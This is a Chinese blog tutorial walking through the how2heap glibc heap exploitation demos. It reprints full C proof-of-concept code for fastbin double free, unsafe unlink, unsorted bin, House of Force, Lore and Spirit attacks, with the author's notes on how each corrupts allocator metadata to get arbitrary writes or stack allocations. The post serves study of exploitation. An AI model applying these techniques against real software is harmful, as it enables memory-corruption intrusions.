zoukankan      html  css  js  c++  java
  • how2heap总结

    今天,让我们来总结下how2heap,之前粗略过了一下,但最近发现还是有很多细节不太清楚,于是现在回头来重新调试下how2heap。

    就按顺序来吧。

    0x01 fastbin_dup:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 int main()
     5 {
     6     fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.
    ");
     7 
     8     fprintf(stderr, "Allocating 3 buffers.
    ");
     9     int *a = malloc(8);
    10     int *b = malloc(8);
    11     int *c = malloc(8);
    12 
    13     fprintf(stderr, "1st malloc(8): %p
    ", a);
    14     fprintf(stderr, "2nd malloc(8): %p
    ", b);
    15     fprintf(stderr, "3rd malloc(8): %p
    ", c);
    16 
    17     fprintf(stderr, "Freeing the first one...
    ");
    18     free(a);
    19 
    20     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
    ", a, a);
    21     // free(a);
    22 
    23     fprintf(stderr, "So, instead, we'll free %p.
    ", b);
    24     free(b);
    25 
    26     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
    ", a);
    27     free(a);
    28 
    29     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!
    ", a, b, a, a);
    30     fprintf(stderr, "1st malloc(8): %p
    ", malloc(8));
    31     fprintf(stderr, "2nd malloc(8): %p
    ", malloc(8));
    32     fprintf(stderr, "3rd malloc(8): %p
    ", malloc(8));
    33 }

    接下来我们来运下这个程序

    可以发现这是一个double free的分析,这个是fastbin内存分配的分析,fastbin是先入后出,free1 —— free2 —— free1,这样在使用的时候就是malloc1 —— malloc2 —— malloc1 —     — malloc2 —— malloc1……循环下去,可以再分配试一试。

    0x02 fastbin_dup_into_stack:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 int main()
     5 {
     6     fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into
    "
     7            "returning a pointer to a controlled location (in this case, the stack).
    ");
     8 
     9     unsigned long long stack_var;
    10 
    11     fprintf(stderr, "The address we want malloc() to return is %p.
    ", 8+(char *)&stack_var);
    12 
    13     fprintf(stderr, "Allocating 3 buffers.
    ");
    14     int *a = malloc(8);
    15     int *b = malloc(8);
    16     int *c = malloc(8);
    17 
    18     fprintf(stderr, "1st malloc(8): %p
    ", a);
    19     fprintf(stderr, "2nd malloc(8): %p
    ", b);
    20     fprintf(stderr, "3rd malloc(8): %p
    ", c);
    21 
    22     fprintf(stderr, "Freeing the first one...
    ");
    23     free(a);
    24 
    25     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
    ", a, a);
    26     // free(a);
    27 
    28     fprintf(stderr, "So, instead, we'll free %p.
    ", b);
    29     free(b);
    30 
    31     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
    ", a);
    32     free(a);
    33 
    34     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
    35         "We'll now carry out our attack by modifying data at %p.
    ", a, b, a, a);
    36     unsigned long long *d = malloc(8);
    37 
    38     fprintf(stderr, "1st malloc(8): %p
    ", d);
    39     fprintf(stderr, "2nd malloc(8): %p
    ", malloc(8));
    40     fprintf(stderr, "Now the free list has [ %p ].
    ", a);
    41     fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.
    "
    42         "so now we are writing a fake free size (in this case, 0x20) to the stack,
    "
    43         "so that malloc will think there is a free chunk there and agree to
    "
    44         "return a pointer to it.
    ", a);
    45     stack_var = 0x20;
    46 
    47     fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
    ", a);
    48     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    49 
    50     fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list
    ", malloc(8));
    51     fprintf(stderr, "4th malloc(8): %p
    ", malloc(8));
    52 }

     接下来我们来运下这个程序

     

     会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了,这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处,也就是fastbin的fd处。再次maollc到指向stack+8的堆。

    0x03 first_fit:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 #include <string.h>
     4 
     5 int main()
     6 {
     7     fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
    ");
     8     fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.
    ");
     9     fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.
    ");
    10     fprintf(stderr, "This can be exploited in a use-after-free situation.
    ");
    11 
    12     fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.
    ");
    13     char* a = malloc(512);
    14     char* b = malloc(256);
    15     char* c;
    16 
    17     fprintf(stderr, "1st malloc(512): %p
    ", a);
    18     fprintf(stderr, "2nd malloc(256): %p
    ", b);
    19     fprintf(stderr, "we could continue mallocing here...
    ");
    20     fprintf(stderr, "now let's put a string at a that we can read later "this is A!"
    ");
    21     strcpy(a, "this is A!");
    22     fprintf(stderr, "first allocation %p points to %s
    ", a, a);
    23 
    24     fprintf(stderr, "Freeing the first one...
    ");
    25     free(a);
    26 
    27     fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p
    ", a);
    28 
    29     fprintf(stderr, "So, let's allocate 500 bytes
    ");
    30     c = malloc(500);
    31     fprintf(stderr, "3rd malloc(500): %p
    ", c);
    32     fprintf(stderr, "And put a different string here, "this is C!"
    ");
    33     strcpy(c, "this is C!");
    34     fprintf(stderr, "3rd allocation %p points to %s
    ", c, c);
    35     fprintf(stderr, "first allocation %p points to %s
    ", a, a);
    36     fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
    37 }

    下这个程序

    会发现这是一个UAF的分配原理,a被释放之后,变成了悬垂指针,又申请了c。使a和c同时指向的同一个堆的地址空间。这时候我们就可以通过这个指针来做一些事情了。

    0x04 unsafe_unlink:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 #include <string.h>
     4 #include <stdint.h>
     5 
     6 
     7 uint64_t *chunk0_ptr;
     8 
     9 int main()
    10 {
    11     fprintf(stderr, "Welcome to unsafe unlink 2.0!
    ");
    12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.
    ");
    13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.
    ");
    14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
    ");
    15 
    16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
    17     int header_size = 2;
    18 
    19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.
    
    ");
    20 
    21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p
    ", &chunk0_ptr, chunk0_ptr);
    24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p
    
    ", chunk1_ptr);
    25 
    26     fprintf(stderr, "We create a fake chunk inside chunk0.
    ");
    27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
    ");
    28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
    ");
    30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
    ");
    31     chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    32     fprintf(stderr, "Fake chunk fd: %p
    ",(void*) chunk0_ptr[2]);
    33     fprintf(stderr, "Fake chunk bk: %p
    
    ",(void*) chunk0_ptr[3]);
    34 
    35     fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
    ");
    36     fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
    ");
    37     fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
    ");
    38     fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
    ");
    39     fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
    ");
    40     fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
    ");
    41     fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
    ");
    42     fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
    ");
    43     chunk0_ptr[1] = sizeof(size_t);
    44     fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)
    ", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
    45     fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
    
    ");
    46 
    47     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
    ");
    48     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    49     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
    ");
    50     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
    ");
    51     chunk1_hdr[0] = malloc_size;
    52     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p
    ",(void*)chunk1_hdr[0]);
    53     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
    
    ");
    54     chunk1_hdr[1] &= ~1;
    55 
    56     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
    ");
    57     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
    
    ");
    58     free(chunk1_ptr);
    59 
    60     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
    ");
    61     char victim_string[8];
    62     strcpy(victim_string,"Hello!~");
    63     chunk0_ptr[3] = (uint64_t) victim_string;
    64 
    65     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
    ");
    66     fprintf(stderr, "Original value: %s
    ",victim_string);
    67     chunk0_ptr[0] = 0x4141414142424242LL;
    68     fprintf(stderr, "New Value: %s
    ",victim_string);
    69 }

    下这个程序

     这个用到了unlink的三个大点,制造伪堆,绕过unlink的保护机制和unlink的再分配。

    下面我们来详细看下:

    首先分配了两个大小为0x80的堆空间,但是为什么显示0x90呢?那是因为计算时候把下一个堆头的prevsize和size也计算进来了。

    然后是构造伪堆,绕过unlink的保护机制。

    然后 chunk1_hdr[0] = malloc_size; 修改prevsize标记的伪堆大小。

     

     来看看我们的伪堆,0x602070就是我们的目标哦。

     

    然后通过更改指针,进而通过unlink来重新指向堆: chunk0_ptr[3] = (uint64_t) victim_string;
    这里有两次伪堆的数据覆盖,先用前堆的bk覆盖,然后用后堆的fd覆盖,最终堆指向了我们需要的目标地址。

    我们来看下unlink的源码,就能够明白是如何来更改其中的链表了:

     1 /* Take a chunk off a bin list */
     2 #define unlink(AV, P, BK, FD) {                                            
     3     if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
     4       malloc_printerr ("corrupted size vs. prev_size");                  
     5     FD = P->fd;                                      
     6     BK = P->bk;                                      
     7     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
     8       malloc_printerr ("corrupted double-linked list");                  
     9     else {                                      
    10         FD->bk = BK;                                  
    11         BK->fd = FD;                                  
    12         if (!in_smallbin_range (chunksize_nomask (P))                  
    13             && __builtin_expect (P->fd_nextsize != NULL, 0)) {              
    14         if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
    15         || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
    16           malloc_printerr ("corrupted double-linked list (not small)");   
    17             if (FD->fd_nextsize == NULL) {                      
    18                 if (P->fd_nextsize == P)                      
    19                   FD->fd_nextsize = FD->bk_nextsize = FD;              
    20                 else {                                  
    21                     FD->fd_nextsize = P->fd_nextsize;                  
    22                     FD->bk_nextsize = P->bk_nextsize;                  
    23                     P->fd_nextsize->bk_nextsize = FD;                  
    24                     P->bk_nextsize->fd_nextsize = FD;                  
    25                   }                                  
    26               } else {                                  
    27                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
    28                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
    29               }                                      
    30           }                                      
    31       }                                          
    32 }

    接下来就不用我说了吧,改变堆内容就改变了我们需要的目标咯。实际应用我们是否可以更改got为我们需要的地址呢?

    0x05 unsorted_bin_attack:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 int main(){
     5     fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack
    ");
     6     fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
     7            "global variable global_max_fast in libc for further fastbin attack
    
    ");
     8 
     9     unsigned long stack_var=0;
    10     fprintf(stderr, "Let's first look at the target we want to rewrite on stack:
    ");
    11     fprintf(stderr, "%p: %ld
    
    ", &stack_var, stack_var);
    12 
    13     unsigned long *p=malloc(400);
    14     fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p
    ",p);
    15     fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
    16            "the first one during the free()
    
    ");
    17     malloc(500);
    18 
    19     free(p);
    20     fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
    21            "point to %p
    ",(void*)p[1]);
    22 
    23     //------------VULNERABILITY-----------
    24 
    25     p[1]=(unsigned long)(&stack_var-2);
    26     fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
    ");
    27     fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p
    
    ",(void*)p[1]);
    28 
    29     //------------------------------------
    30 
    31     malloc(400);
    32     fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been "
    33            "rewrite:
    ");
    34     fprintf(stderr, "%p: %p
    ", &stack_var, (void*)stack_var);
    35 }

     这个程序

     这个unsorted bin 没有完全看懂,看出来他是通过修改unsorted bin 中的bk为stack -16(即减去2个地址空间),这样就让stack的内容变成的unsorted bin的head了(leak),不知道这其中做了些什么?所以我先看unlink之后再回头看这个。

     直接看源码吧。

    1           /* remove from unsorted list */
    2           unsorted_chunks (av)->bk = bck;
    3           bck->fd = unsorted_chunks (av);

    这一句话本意是将unsorted chunk从unsorted bin的链表中unlink下来,但是如果我们可以控制bk,就可以使得bck位置可控。而bck->fd是从相对位移去找的,换句话说,只要我们将bck修改为想要修改的位置-2*指针大小就可以使得bck->fd为我们要修改的位置,进而修改任意位置。

    不过因为bck->fd = unsorted_chunks(av)这句话,而unsorted_chunks (av)并不能控制为任意内容,所以相对自由度还是比较小的,只能使得任意位置修改为一个指针。

    泄露的地址:

    fprintf(stderr, "%p: %p ", &stack_var, (void*)stack_var);

    ------------------------->         0x7fffffffdde0: 0x7ffff7dd37b8

    当然了,细心的人估计已经想到了,可以对这个地址进行修改的哦!

    0x06 house_of_force:

    源码:

     1 /*
     2 
     3    This PoC works also with ASLR enabled.
     4    It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
     5    If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
     6    ( http://phrack.org/issues/66/10.html )
     7 
     8    Tested in Ubuntu 14.04, 64bit.
     9 
    10 */
    11 
    12 
    13 #include <stdio.h>
    14 #include <stdint.h>
    15 #include <stdlib.h>
    16 #include <string.h>
    17 #include <stdint.h>
    18 #include <malloc.h>
    19 
    20 char bss_var[] = "This is a string that we want to overwrite.";
    21 
    22 int main(int argc , char* argv[])
    23 {
    24     fprintf(stderr, "
    Welcome to the House of Force
    
    ");
    25     fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
    ");
    26     fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
    27         "and is the chunk that will be resized when malloc asks for more space from the os.
    ");
    28 
    29     fprintf(stderr, "
    In the end, we will use this to overwrite a variable at %p.
    ", bss_var);
    30     fprintf(stderr, "Its current value is: %s
    ", bss_var);
    31 
    32 
    33 
    34     fprintf(stderr, "
    Let's allocate the first chunk, taking space from the wilderness.
    ");
    35     intptr_t *p1 = malloc(256);
    36     fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.
    ", p1);
    37 
    38     fprintf(stderr, "
    Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
    ");
    39     int real_size = malloc_usable_size(p1);
    40     fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %d.
    ", real_size);
    41 
    42     fprintf(stderr, "
    Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
    ");
    43 
    44     //----- VULNERABILITY ----
    45     intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
    46     fprintf(stderr, "
    The top chunk starts at %p
    ", ptr_top);
    47 
    48     fprintf(stderr, "
    Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
    ");
    49     fprintf(stderr, "Old size of top chunk %#llx
    ", *((unsigned long long int *)ptr_top));
    50     ptr_top[0] = -1;
    51     fprintf(stderr, "New size of top chunk %#llx
    ", *((unsigned long long int *)ptr_top));
    52     //------------------------
    53 
    54     fprintf(stderr, "
    The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
    "
    55        "Next, we will allocate a chunk that will get us right up against the desired region (with an integer
    "
    56        "overflow) and will then be able to allocate a chunk right over the desired region.
    ");
    57 
    58     unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
    59     fprintf(stderr, "
    The value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,
    "
    60        "we will malloc %#lx bytes.
    ", bss_var, ptr_top, evil_size);
    61     void *new_ptr = malloc(evil_size);
    62     fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p
    ", new_ptr);
    63 
    64     void* ctr_chunk = malloc(100);
    65     fprintf(stderr, "
    Now, the next chunk we overwrite will point at our target buffer.
    ");
    66     fprintf(stderr, "malloc(100) => %p!
    ", ctr_chunk);
    67     fprintf(stderr, "Now, we can finally overwrite that value:
    ");
    68 
    69     fprintf(stderr, "... old string: %s
    ", bss_var);
    70     fprintf(stderr, "... doing strcpy overwrite with "YEAH!!!"...
    ");
    71     strcpy(ctr_chunk, "YEAH!!!");
    72     fprintf(stderr, "... new string: %s
    ", bss_var);
    73 
    74 
    75     // some further discussion:
    76     //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed
    
    ");
    77     //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
    78     //    "and we 
    want to set this result to the address of malloc_got_address-8
    
    ");
    79     //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size
    
    ");
    80     //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8
    
    ");
    81     //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
    82     //    "
    and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address
    
    ");
    83 
    84     //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x
    ",p2);
    85     //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x
    ",malloc_got_address);
    86 
    87     //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before
    ");
    88 }

      这个程序

     

       这个就是对Top Chunk的利用了,这里就是一个简单的计算,首先把Top_Chunk的size设置为无限大,防止调用mmap,然后就是就是申请一个很大的空间evil_size,evil_size = bss_var - ptr_top - 2*地址(预留堆头空间),这样就是topchunk的地址变成了我们需要控制的区域来了,相当于把Top Chunk向地址下降了(top chunk = 0x602070),然后再malloc就能够精确控制bss区域了。其中Top Chunk的机理,我回头看看源码在来看看到底是个什么东东。

    0x07 house_of_lore:

    源码:

      1 /*
      2 Advanced exploitation of the House of Lore - Malloc Maleficarum.
      3 This PoC take care also of the glibc hardening of smallbin corruption.
      4 
      5 [ ... ]
      6 
      7 else
      8     {
      9       bck = victim->bk;
     10     if (__glibc_unlikely (bck->fd != victim)){
     11 
     12                   errstr = "malloc(): smallbin double linked list corrupted";
     13                   goto errout;
     14                 }
     15 
     16        set_inuse_bit_at_offset (victim, nb);
     17        bin->bk = bck;
     18        bck->fd = bin;
     19 
     20        [ ... ]
     21 
     22 */
     23 
     24 #include <stdio.h>
     25 #include <stdlib.h>
     26 #include <string.h>
     27 #include <stdint.h>
     28 
     29 void jackpot(){ puts("Nice jump d00d"); exit(0); }
     30 
     31 int main(int argc, char * argv[]){
     32 
     33 
     34   intptr_t* stack_buffer_1[4] = {0};
     35   intptr_t* stack_buffer_2[3] = {0};
     36 
     37   fprintf(stderr, "
    Welcome to the House of Lore
    ");
     38   fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc
    ");
     39   fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23
    
    ");
     40 
     41   fprintf(stderr, "Allocating the victim chunk
    ");
     42   intptr_t *victim = malloc(100);
     43   fprintf(stderr, "Allocated the first small chunk on the heap at %p
    ", victim);
     44 
     45   // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
     46   intptr_t *victim_chunk = victim-2;
     47 
     48   fprintf(stderr, "stack_buffer_1 at %p
    ", (void*)stack_buffer_1);
     49   fprintf(stderr, "stack_buffer_2 at %p
    ", (void*)stack_buffer_2);
     50 
     51   fprintf(stderr, "Create a fake chunk on the stack");
     52   fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
     53          "in second to the last malloc, which putting stack address on smallbin list
    ");
     54   stack_buffer_1[0] = 0;
     55   stack_buffer_1[1] = 0;
     56   stack_buffer_1[2] = victim_chunk;
     57 
     58   fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
     59          "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
     60          "chunk on stack");
     61   stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
     62   stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
     63   
     64   fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
     65          "the small one during the free()
    ");
     66   void *p5 = malloc(1000);
     67   fprintf(stderr, "Allocated the large chunk on the heap at %p
    ", p5);
     68 
     69 
     70   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin
    ", victim);
     71   free((void*)victim);
     72 
     73   fprintf(stderr, "
    In the unsorted bin the victim's fwd and bk pointers are nil
    ");
     74   fprintf(stderr, "victim->fwd: %p
    ", (void *)victim[0]);
     75   fprintf(stderr, "victim->bk: %p
    
    ", (void *)victim[1]);
     76 
     77   fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
    ");
     78   fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin
    ", victim);
     79 
     80   void *p2 = malloc(1200);
     81   fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p
    ", p2);
     82 
     83   fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated
    ");
     84   fprintf(stderr, "victim->fwd: %p
    ", (void *)victim[0]);
     85   fprintf(stderr, "victim->bk: %p
    
    ", (void *)victim[1]);
     86 
     87   //------------VULNERABILITY-----------
     88 
     89   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
    ");
     90 
     91   victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
     92 
     93   //------------------------------------
     94 
     95   fprintf(stderr, "Now allocating a chunk with size equal to the first one freed
    ");
     96   fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
    ");
     97 
     98   void *p3 = malloc(100);
     99 
    100 
    101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
    ");
    102   char *p4 = malloc(100);
    103   fprintf(stderr, "p4 = malloc(100)
    ");
    104 
    105   fprintf(stderr, "
    The fwd pointer of stack_buffer_2 has changed after the last malloc to %p
    ",
    106          stack_buffer_2[2]);
    107 
    108   fprintf(stderr, "
    p4 is %p and should be on the stack!
    ", p4); // this chunk will be allocated on stack
    109   intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    110   memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
    111 }                

       这个程序:   

     这个程序,将victim chunk和两个fake chunk构造成双向链表,然后再smallbin分配时候,便申请了到了fake chunk。

     

    这个关键是要改写victim chunk 的bk,关键改写地址: victim[1] = (intptr_t)stack_buffer_1 。然后双向链表在重新分配的时候,就会分配到栈上的空间为堆。

    0x08 house_of_spirit:

    源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 int main()
     5 {
     6     fprintf(stderr, "This file demonstrates the house of spirit attack.
    ");
     7 
     8     fprintf(stderr, "Calling malloc() once so that it sets up its memory.
    ");
     9     malloc(1);
    10 
    11     fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.
    ");
    12     unsigned long long *a;
    13     // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    14     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    15 
    16     fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.
    ", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
    17 
    18     fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
    ");
    19     fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
    ");
    20     fake_chunks[1] = 0x40; // this is the size
    21 
    22     fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
    ");
    23         // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    24     fake_chunks[9] = 0x1234; // nextsize
    25 
    26     fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.
    ", &fake_chunks[1]);
    27     fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
    ");
    28     a = &fake_chunks[2];
    29 
    30     fprintf(stderr, "Freeing the overwritten pointer.
    ");
    31     free(a);
    32 
    33     fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!
    ", &fake_chunks[1], &fake_chunks[2]);
    34     fprintf(stderr, "malloc(0x30): %p
    ", malloc(0x30));
    35 } 

     这个程序

     这个一看代码很少,程序比较简单了,哈哈,下面我们来看看这个程序是怎么运行的:(时隔好多天)看完这个程序之后确实,很简单,但最近却一直没有做,主要是最近事情比较繁杂,心态不够沉静。

    先看看内存分布原理图把:

    注意哦,这个数组就是栈上面的内存,a指向了第一个伪堆,free(a)的时候就把Fake_chunk_1这个伪堆放入了fastbin的链表中,这样的话再次分配的时候就把这一块的内存当做是heap区域的内存分配了,

    注意这里fastbin的回收内存的大小,第一个chunk的size要在fastbin的范围内(x64机器上是 < 0x80),同时注意实际大小比可用大小多两个单元。

     关于这个技术如果要练手的话,可以去做一下 pwnable.tw 上的 spirited_away 这道题。

    知识补充:

      更改C编译器的缺省字节对齐方式

      在缺省情况下,C编译器为每一个变量或是数据单元按其自然对界条件分配空间。一般地,可以通过下面的方法来改变缺省的对界条件:
      · 使用伪指令#pragma pack (n),C编译器将按照n个字节对齐。
      · 使用伪指令#pragma pack (),取消自定义字节对齐方式。

      另外,还有如下的一种方式:
      · __attribute((aligned (n))),让所作用的结构成员对齐在n字节自然边界上。如果结构中有成员的长度大于n,则按照最大成员的长度来对齐。
      · __attribute__ ((packed)),取消结构在编译过程中的优化对齐,按照实际占用字节数进行对齐。

     

     小结:

    个人水平有限,只是写了自己的理解和归纳,最后一个例程house_of_einherjar在新版glibc已经不能用了,所以不做介绍。

     

     

     

     

     

  • 相关阅读:
    架构漫谈阅读笔记
    《七步掌握业务分析》读书笔记六
    《七步掌握业务分析》读书笔记五
    《七步掌握业务分析》读书笔记四
    使用JSON Web Token完成用户认证(REST framework JWT Auth)
    APIView与GenericAPIView
    支付宝支付
    视频托管和插入广告
    redis淘汰机制
    redis五种数据结构和应用场景
  • 原文地址:https://www.cnblogs.com/Yable/p/8000991.html
Copyright © 2011-2022 走看看